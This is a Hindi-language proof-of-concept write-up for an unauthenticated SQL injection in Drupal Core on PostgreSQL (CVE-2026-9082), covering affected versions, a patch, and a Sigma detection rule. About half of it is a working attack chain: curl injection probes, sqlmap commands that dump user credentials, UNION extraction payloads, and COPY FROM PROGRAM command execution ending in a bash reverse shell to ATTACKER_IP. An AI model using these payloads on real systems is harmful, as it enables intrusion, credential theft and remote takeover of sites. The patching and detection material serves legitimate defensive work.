
सीवीई पीओसी
प्रकार: SQL Injection (CWE-89) प्रभावित उत्पाद: Drupal Core (Database Abstraction API) ड्रुपल सलाहकार: SA-CORE-2026-004 प्रकाशित: May 20, 2026 गंभीरता: अत्यधिक गंभीर (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 Drupal के कोर डेटाबेस एब्स्ट्रक्शन API में एक SQL Injection कमजोरी है। Drupal का DB लेयर PDO को लपेटता है और सभी क्वेरी को डेटाबेस तक पहुंचने से पहले sanitize करता है। यह कमजोरी केवल PostgreSQL बैकएंड के लिए उस sanitization को बायपास करती है — विशेष रूप से तैयार किए गए HTTP अनुरोध सामान्यीकरण तर्क से बच निकलते हैं, हमलावर-नियंत्रित SQL टुकड़ों को सीधे डेटाबेस क्वेरी में इंजेक्ट करते हैं।
MySQL और MariaDB इंजेक्शन वेक्टर से प्रभावित नहीं हैं, हालांकि पैच रिलीज़ में क्रिटिकल Symfony/Twig फिक्स भी शामिल हैं जो सभी बैकएंड पर लागू होते हैं।
| शाखा | कमजोर | पैच किया गया |
|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
पूर्वापेक्षा: लक्ष्य को अपने डेटाबेस बैकएंड के रूप में PostgreSQL का उपयोग करना चाहिए।
Drupal का DB एब्स्ट्रक्शन लेयर पैरामीटराइज़्ड क्वेरी/प्रिपेयर्ड स्टेटमेंट के माध्यम से मानों को sanitize करता है, लेकिन विश्वसनीय संरचनात्मक SQL (फ़ील्ड नाम, ऑपरेटर, ORDER BY लक्ष्य) प्रदान करने के लिए क्वेरी बिल्डर पर निर्भर करता है। बग यह है कि PostgreSQL ड्राइवर क्वेरी बनाते समय कुछ इनपुट पैटर्न को कैसे संभालता है — PostgreSQL का SQL डायलेक्ट MySQL से प्रमुख तरीकों में भिन्न है:
|| के साथ स्ट्रिंग संयोजन (concat):: के साथ टाइप कास्टिंगCOPY ... FROM PROGRAM कमांडएक गढ़ा गया अनुरोध ऐसे वर्ण/अनुक्रम प्रस्तुत करता है जो Drupal के मान-स्तरीय sanitization को पास करते हैं लेकिन PostgreSQL पार्सर द्वारा संरचनात्मक SQL के रूप में व्याख्या किए जाते हैं। हमले की सतह बिना प्रमाणीकरण के किसी भी एंडपॉइंट (सर्च, व्यू फ़िल्टर, फ़ॉर्म सबमिशन, JSON:API, आदि) के माध्यम से पहुंच योग्य है जो उपयोगकर्ता-नियंत्रित पैरामीटर को DB क्वेरी में पास करता है।
हमलावर (अप्रमाणित) | |--> गढ़े गए पैरामीटर के साथ HTTP अनुरोध | (जैसे सर्च फ़ील्ड, फ़िल्टर, फ़ॉर्म इनपुट) | v Drupal DB एब्स्ट्रक्शन API | |--> Sanitization बायपास (PostgreSQL-विशिष्ट) | v PostgreSQL इंजेक्टेड SQL निष्पादित करता है | |--> सूचना प्रकटीकरण (संपूर्ण DB डंप) |--> विशेषाधिकार वृद्धि (एडमिन क्रेडेंशियल इंजेक्ट) |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, आदि)
COPY TO PROGRAM 'cmd' के माध्यम सेDrupal की स्वयं की चेतावनी: "प्रकटीकरण के घंटों या दिनों के भीतर शोषण विकसित किए जा सकते हैं" (SA-CORE-2014-005 / Drupalgeddon जैसे ऐतिहासिक Drupal DB-लेयर CVE के अनुरूप)।
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (ATTACKER_IP/PORT बदलें)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (अनुशंसित)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
पैटर्न ब्लॉक करें: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
सुनिश्चित करें कि PostgreSQL केवल localhost या एक निजी इंटरफ़ेस से बंधा हो; इंटरनेट से पहुंच योग्य नहीं होना चाहिए।
| स्रोत | संकेत |
|---|---|
| वेब लॉग | क्वेरी स्ट्रिंग में pg_sleep, ::, UNION SELECT, --, COPY PROGRAM |
| PostgreSQL लॉग | वेब अनुरोध टाइमस्टैम्प के साथ सहसंबंधित सिंटैक्स त्रुटियाँ |
| Drupal watchdog | search/view/jsonapi एंडपॉइंट से DB अपवाद |
| auditd | postgres चाइल्ड प्रक्रियाएँ (COPY TO PROGRAM) |
| Drupal उपयोगकर्ता तालिका | हाल के टाइमस्टैम्प के साथ नई administrator भूमिका पंक्तियाँ |
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 Drupal Core में एक शून्य-प्रमाणीकरण SQL इंजेक्शन है जो PostgreSQL बैकएंड को लक्षित करता है। मामूली NVD CVSS 6.5 के बावजूद, Drupal इसे 20/25 (अत्यधिक गंभीर) रेट करता है क्योंकि अप्रमाणित पहुंच + PostgreSQL का COPY TO PROGRAM = गलत कॉन्फ़िगरेशन वाले वातावरण में प्रत्यक्ष RCE। प्रभावित संस्करणों की व्यापक श्रृंखला और बंडल किए गए Twig SSTI फिक्स इसे सभी Drupal साइटों, विशेष रूप से इंटरनेट-फेसिंग डिप्लॉयमेंट में PostgreSQL पर चलने वाली साइटों के लिए एक क्रिटिकल, तत्काल पैच बनाते हैं।
अनुशंसित कार्रवाई: तुरंत अपनी शाखा के लिए पैच किए गए संस्करण में अपडेट करें। सत्यापित करें कि आपका DB एप्लिकेशन उपयोगकर्ता PostgreSQL सुपरयूज़र नहीं है।